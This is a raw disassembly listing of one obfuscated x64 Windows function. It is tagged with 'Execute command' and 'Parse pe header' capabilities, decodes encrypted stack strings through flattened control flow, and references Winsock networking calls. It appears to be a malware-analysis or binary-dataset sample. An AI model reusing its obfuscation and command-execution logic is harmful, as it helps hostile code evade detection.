Function at 0x140045da0
Capabilities:
Execute command
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x1401dc780]
xor rax, rsp
mov qword [rbp + 0x248], rax
mov dword [rbp - 0x70], 0xa4be435b
mov dword [rbp - 0x6c], 0x90aa93ad
mov dword [rbp - 0x68], 0xb0a6929f
mov dword [rbp - 0x64], 0xa2929e95
mov dword [rbp - 0x60], 0xaf585a9d
mov dword [rbp - 0x5c], 0xe9dfe7d8
mov dword [rbp - 0x58], 0x73e1e3dd
xorps xmm0, xmm0
movups xmmword [rbp - 0x54], xmm0
movzx edi, byte [rsp + 0x20]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov rax, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x2c
jae 0x1400469dd
movzx r9d, byte [rbp + r10 - 0x70]
movzx r11d, r9b
cmp rbx, r10
ja 0x1400469d4
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x140045e76
lea rdx, [r10 + 0x11a2c]
mov rcx, r9
and rcx, rdx
imul rdi, rcx, 0xfffffffffffffffe
add rdi, r9
add rdi, rdx
sub dil, 0x34
jmp 0x140045ea3
je 0x14004695a
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x1400468cb
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x14004686d
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x140046849
movzx r11d, r9b
cmp rax, r10
ja 0x1400469cb
lea rcx, [rax + 0x61]
cmp rbx, rcx
jae 0x140045ed9
lea r8, [r10 + 0x17259c]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r11b
sub dil, cl
sub dil, 0x44
add dil, r8b
jmp 0x140045f20
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x1400467f8
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x1400467d4
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x1400467bc
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x140046797
lea rcx, [rax + 8]
cmp rbx, rcx
je 0x140046785
nop word [rax + rax]
lea rcx, [rax + rbx]
cmp rcx, r10
jbe 0x140046490
nop dword [rax]
lea rcx, [rax + 0x2a]
cmp rbx, rcx
je 0x14004646c
lea rcx, [rax + 0x7a]
cmp rbx, rcx
je 0x140046443
lea rcx, [rax + 0x400]
cmp rbx, rcx
je 0x140046421
lea rcx, [rax + 0x80]
cmp rbx, rcx
je 0x140046528
lea rcx, [rax + 0x40]
cmp rbx, rcx
je 0x140046401
lea rcx, [rax + 0x10]
cmp rbx, rcx
je 0x1400463e5
lea rcx, [rax + 8]
cmp rbx, rcx
je 0x1400463c1
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x1400463a1
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x140046372
lea rcx, [rax + 0x41]
cmp rbx, rcx
je 0x140045f30
lea rbx, [rax + 0xa]
lea rax, [rbx + 0x1000]
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1400469ab
lea rcx, [rax + 3]
cmp rbx, rcx
jb 0x14004698e
lea rcx, [rax + 0x2a]
cmp rbx, rcx
jb 0x140046127
lea rcx, [rax + 0x7a]
cmp rbx, rcx
jb 0x140046102
lea rcx, [rax + 0x400]
cmp rbx, rcx
jb 0x1400460e4
lea rcx, [rax + 0x80]
cmp rbx, rcx
jb 0x14004631f
lea rcx, [rax + 0x40]
cmp rbx, rcx
jb 0x1400462c6
lea rcx, [rax + 0x10]
cmp rbx, rcx
jb 0x1400462a2
lea rcx, [rax + 8]
cmp rbx, rcx
jb 0x14004627a
lea rcx, [rax + 4]
cmp rbx, rcx
jb 0x140045f30
lea rbx, [rax + 0x64]
lea rax, [rbx + 1]
lea rcx, [rax + 0x28]
cmp rbx, rcx
ja 0x14004624b
lea rcx, [rax + 0xa]
cmp rbx, rcx
ja 0x14004622b
lea rcx, [rax + 6]
cmp rbx, rcx
ja 0x14004620b
lea rcx, [rax + 3]
cmp rbx, rcx
ja 0x1400461ef
lea rcx, [rax + 0x2a]
cmp rbx, rcx
ja 0x1400461d0
lea rcx, [rax + 0x7a]
cmp rbx, rcx
ja 0x1400461b0
lea rcx, [rax + 0x400]
cmp rbx, rcx
ja 0x14004618e
lea rcx, [rax + 0x80]
cmp rbx, rcx
ja 0x140046165
lea rcx, [rax + 0x40]
cmp rbx, rcx
ja 0x140046145
lea rcx, [rax + 0x10]
cmp rbx, rcx
ja 0x140045f30
lea rbx, [rax + 0x61]
lea rax, [rbx + 8]
jmp 0x140045f30
lea rdx, [r10 + 0x9935e4]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x3c
jmp 0x140045f20
lea rdx, [r10 + 0x97018c]
movzx ecx, dl
and cl, r9b
mov r8d, socket
sub r8b, cl
lea edi, [r8 + r8]
add dil, dl
add dil, r11b
jmp 0x140045ea7
lea rdx, [r10 + 0x94cd34]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x6c
jmp 0x140045e47
lea r8d, [r10 - 0x20]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x20
add dil, r8b
jmp 0x140046818
lea r8d, [r10 - 0x78]
movzx ecx, r9b
and cl, r8b
mov edx, 0x24
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
inc rax
dec r10
inc r10
jmp 0x140045e33
lea edx, [r10 + 0x30]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x50
dec r10
inc r10
jmp 0x140045e33
lea r8d, [r10 - 0x28]
movzx ecx, r9b
and cl, r8b
mov edx, ntohs
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x140046891
lea edx, [r10 + 0x80]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
add dil, 0x80
jmp 0x1400468af
lea edx, [r10 + 0x28]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x18
jmp 0x1400468b2
lea r8d, [r10 - 0x30]
movzx ecx, r9b
and cl, r8b
mov edx, 0x28
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x1400468e8
lea r8d, [r10 + 0x78]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x48
add dil, r8b
jmp 0x140046917
lea r8d, [r10 + 0x20]
movzx ecx, r9b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
movzx ecx, byte [rbp + r10 - 0x70]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140045e33
lea r8d, [r10 + 0x44]
movzx ecx, r9b
and cl, r8b
mov edx, reloc.WS2_32.dll_select
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
mov byte [rbp + r10 - 0x70], dil
inc r10
jmp 0x140045e33
movzx r11d, r10b
lea r8d, [r11 - 0x14]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x74
add dil, r8b
jmp 0x140046714
lea r8d, [r10 - 0x6c]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0xc
add dil, r8b
cmp rbx, 6
jae 0x140046741
lea rcx, [rax + 0x200]
cmp rbx, rcx
jbe 0x140046660
movzx r11d, r10b
lea r8d, [r11 + 0x18]
movzx ecx, r9b
and cl, r8b
mov edx, 0x2c
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x140046714
lea r8d, [r10 + 0x3c]
movzx ecx, r9b
and cl, r8b
mov edx, 0x2e
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
lea rcx, [rax + rbx]
cmp rcx, 0x2a
je 0x140046764
lea rcx, [rax + 0x20]
cmp rbx, rcx
jbe 0x1400465a9
lea r8d, [r10 + 0x7c]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x64
jmp 0x1400462de
lea r8d, [r10 - 0x58]
movzx ecx, r9b
and cl, r8b
mov edx, 0x34
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
movzx ecx, byte [rbp + r10 - 0x70]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140045e33
lea r8d, [r10 + 0x50]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x30
add dil, r8b
jmp 0x140046917
movzx r11d, r10b
lea r8d, [r11 - 8]
movzx ecx, r9b
and cl, r8b
mov edx, 0x1c
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x1400468ec
lea edx, [r10 - 0x60]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x60
jmp 0x1400468b2
lea r8d, [r10 + 0x48]
movzx ecx, r9b
and cl, r8b
mov edx, 4
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x1400468af
lea edx, [r10 - 0x68]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x28
dec r10
inc r10
jmp 0x140045e33
lea r8d, [r10 + 0x40]
movzx ecx, r9b
and cl, r8b
mov edx, 0x20
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
inc rax
dec r10
inc r10
jmp 0x140045e33
movzx r11d, r10b
lea r8d, [r11 - 0x18]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x58
add dil, r8b
jmp 0x14004681c
lea rcx, [rax + 0x80]
cmp rbx, rcx
jae 0x1400464ba
lea rdx, [r10 + 0x11a2c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x34
jmp 0x14004633a
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x1400464f2
lea r8d, [r10 + 0x38]
movzx ecx, r9b
and cl, r8b
mov edx, 0x3c
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
movzx ecx, byte [rbp + r10 - 0x70]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140045e33
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x14004651f
movzx r11d, r10b
lea r8d, [r11 - 0x18]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x58
add dil, r8b
jmp 0x1400468ec
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x140046548
lea r8d, [r10 - 0x10]
movzx ecx, r9b
and cl, r8b
mov edx, gethostname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x140046891
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x140046577
lea r8d, [r10 + 0x48]
movzx ecx, r9b
and cl, r8b
mov edx, 4
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
dec r10
inc r10
jmp 0x140045e33
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x14004633a
lea edx, [r10 - 0x60]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x60
inc rax
dec r10
inc r10
jmp 0x140045e33
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x1400465d6
movzx r11d, r10b
lea r8d, [r11 - 0x2c]
movzx ecx, r9b
and cl, r8b
mov edx, 0x1a
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x14004681c
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140046604
lea edx, [r10 + 0x2c]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x34
inc rax
dec r10
inc r10
jmp 0x140045e33
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140046633
lea r8d, [r10 - 0x7c]
movzx ecx, r9b
and cl, r8b
mov edx, 0x32
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
dec r10
inc r10
jmp 0x140045e33
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x1400462e1
lea r8d, [r10 - 0x74]
movzx ecx, r9b
and cl, r8b
mov edx, socket
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x1400468b2
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140046694
lea edx, [r10 + 0x70]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x10
movzx ecx, byte [rbp + r10 - 0x70]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140045e33
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x1400466b9
lea edx, [r10 + 0x78]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x48
jmp 0x1400468b2
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x1400466e2
lea r8d, [r10 - 0x30]
movzx ecx, r9b
and cl, r8b
mov edx, 0x28
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x1400468af
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x140046710
lea edx, [r10 + 0x80]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
add dil, 0x80
dec r10
inc r10
jmp 0x140045e33
movzx r11d, r10b
cmp rax, 0x28
jb 0x140046295
lea r8d, [r11 - 0x78]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edx, r9b
sub dl, cl
add dl, r8b
lea edi, [rdx*2 - 0x70]
jmp 0x14004681c
lea r8d, [r10 - 0x20]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x20
add dil, r8b
add dil, r9b
jmp 0x140046891
movzx r11d, r10b
lea r8d, [r11 + 0x38]
movzx ecx, r9b
and cl, r8b
mov edx, 0x3c
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
jmp 0x1400468ec
lea rdx, [r10 + 0x2afcb4]
mov r8d, 0xa
jmp 0x140046967
lea rdx, [r10 + 0x245fac]
movzx ecx, dl
and cl, r9b
mov r8d, 0x26
sub r8b, cl
lea edi, [r8 + r8]
add dil, dl
add dil, r11b
jmp 0x1400468b2
lea rdx, [r10 + 0x1ff6fc]
movzx ecx, dl
and cl, r9b
mov r8d, recvfrom
jmp 0x140046884
lea rdx, [r10 + 0x1dc2a4]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x7c
dec r10
inc r10
jmp 0x140045e33
lea rdx, [r10 + 0x1959f4]
movzx ecx, dl
and cl, r9b
mov r8d, 0x2a
sub r8b, cl
lea edi, [r8 + r8]
add dil, dl
add dil, r11b
movzx r11d, r10b
sub r11b, 0x4c
movzx ecx, r9b
and cl, r11b
mov edx, 0xa
sub dl, cl
add dl, dl
add dl, r9b
add dl, r11b
mov byte [rbp + r10 - 0x70], dl
inc rax
dec r10
inc r10
jmp 0x140045e33
lea rdx, [r10 + 0x108894]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0xc
dec r10
inc r10
jmp 0x140045e33
lea rdx, [r10 + 0xe543c]
movzx ecx, dl
and cl, r9b
mov r8d, 0x2e
movzx r9d, r11b
sub r8b, cl
lea edi, [r8 + r8]
add dil, dl
add dil, r11b
lea edx, [r10 + 0xc]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
sub r9b, 0x54
add r9b, dl
add r9b, dil
mov byte [rbp + r10 - 0x70], r9b
add rbx, rax
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r10, rdx
inc r10
jmp 0x140045e33
lea rdx, [r10 + 0x7b734]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x6c
movzx r9d, r11b
movzx r11d, r10b
add r11b, 0x64
movzx ecx, r9b
and cl, r11b
mov edx, 0x22
sub dl, cl
add dl, dl
add dl, r9b
add dl, r11b
movzx ecx, dl
mov byte [rbp + r10 - 0x70], cl
inc rax
add rcx, rax
sub r10, rcx
lea r8d, [r10 - 0x70]
movzx ecx, r9b
and cl, r8b
mov edx, 8
sub dl, cl
add dl, dl
add dl, r9b
add dl, r8b
mov byte [rbp + r10 - 0x70], dl
inc rbx
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add r10, rcx
movzx ecx, byte [rbp + r10 - 0x70]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140045e33
lea rdx, [r10 + 0x34e84]
mov r8d, 0x32
movzx ecx, dl
and cl, r9b
sub r8b, cl
lea edi, [r8 + r8]
add dil, dl
add dil, r11b
movzx ecx, byte [rbp + r10 - 0x70]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140045e33
sub r10b, 0x24
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 4
jmp 0x140045e30
sub r10b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140045e15
lea rdx, [rbp + 0x17d9520]
jmp 0x1400469e1
lea rdx, [rbp + 0xfeaf4c]
jmp 0x1400469e1
lea rdx, [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x100], 0
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140046a10
lea rcx, [rbp + 0xe8]
call fcn.140041ee0
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x40], rax
xor r8d, r8d
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x108]
call fcn.1400416c0
nop
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 7
cmova rcx, qword [rbp + 0x108]
call fcn.14013e3a8
test eax, eax
jne 0x14004dcda
lea rcx, [rbp + 0x108]
call fcn.14004fca0
nop
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x140046abd
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046ab8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046ab8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013c8c8
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x100], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xe8], 0
lea rax, [rbp + 0x128]
mov qword [rbp + 0x40], rax
mov dword [rsp + 0x30], 0xd080463
mov dword [rsp + 0x34], 0x630109
mov dword [rsp + 0x38], 0xe061c0c
mov dword [rsp + 0x3c], 0x61d5b1f
mov word [rsp + 0x40], 0x891b
xor eax, eax
mov qword [rsp + 0x42], rax
mov dword [rsp + 0x4a], eax
mov word [rsp + 0x4e], ax
movabs r14, 0xfb0b28de29066d44
movabs r12, 0xdd4e1e131f2cfcdc
movabs r15, 0xf1217a9a7b1347cc
movzx edi, byte [rsp + 0x20]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x20
jae 0x140047573
movzx r10d, byte [rsp + r11 + 0x30]
mov esi, r10d
cmp rbx, r11
ja 0x14004756a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140046b92
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
add dil, 0x24
jmp 0x140046bbf
je 0x1400474f8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140047473
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004744e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140047426
movzx r9d, r11b
cmp r8, r11
ja 0x140047561
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x140046bed
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x140046c20
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400473df
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400473a8
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004738d
nop dword [rax]
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x1400470ff
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400470f1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400470cb
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400470a5
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140047089
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14004706c
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14004704f
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140047030
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140047010
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140046fe4
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140046c30
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 2]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140047541
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140047524
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140046e01
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140046de2
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140046dc7
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140046f9b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140046f4f
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140046f0e
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140046ee9
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140046c30
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140046ecc
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140046eac
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140046e91
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140046e71
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140046e54
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140046e39
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140046e1e
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140046c30
lea rbx, [r8 + 5]
lea r8, [rbx + 0x28]
jmp 0x140046c30
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x140046c20
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140046bc3
sub r9b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
jmp 0x140046b66
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x1400473f9
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140047356
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x1400473c3
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400473c6
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14004748c
sub r9b, 0x18
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
add dil, r9b
jmp 0x1400474b7
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004750d
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
mov byte [rsp + r11 + 0x30], dil
inc r11
jmp 0x140046b53
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x64
jb 0x140046f01
lea edx, [r9 + 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x50]
jmp 0x1400473f9
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x3e8
jae 0x14004733d
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140047291
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x140046f28
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
lea rax, [rbx + r8]
cmp rax, 0x61
je 0x140047377
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x1400471f1
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x140046f69
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140046b53
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400474b7
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004748c
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x1400473c6
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x1400473c3
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140047353
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140046b53
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x140046b53
lea edx, [r9 + 0x38]
mov ecx, 0x3c
jmp 0x1400473e8
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140047127
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140046fb1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004715c
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140046b53
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140047184
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004748c
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400471aa
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x1400473c6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400471d6
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
dec r11
inc r11
jmp 0x140046b53
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140046fb1
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400473e8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140047215
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x1400473f9
lea rax, [r8 + 2]
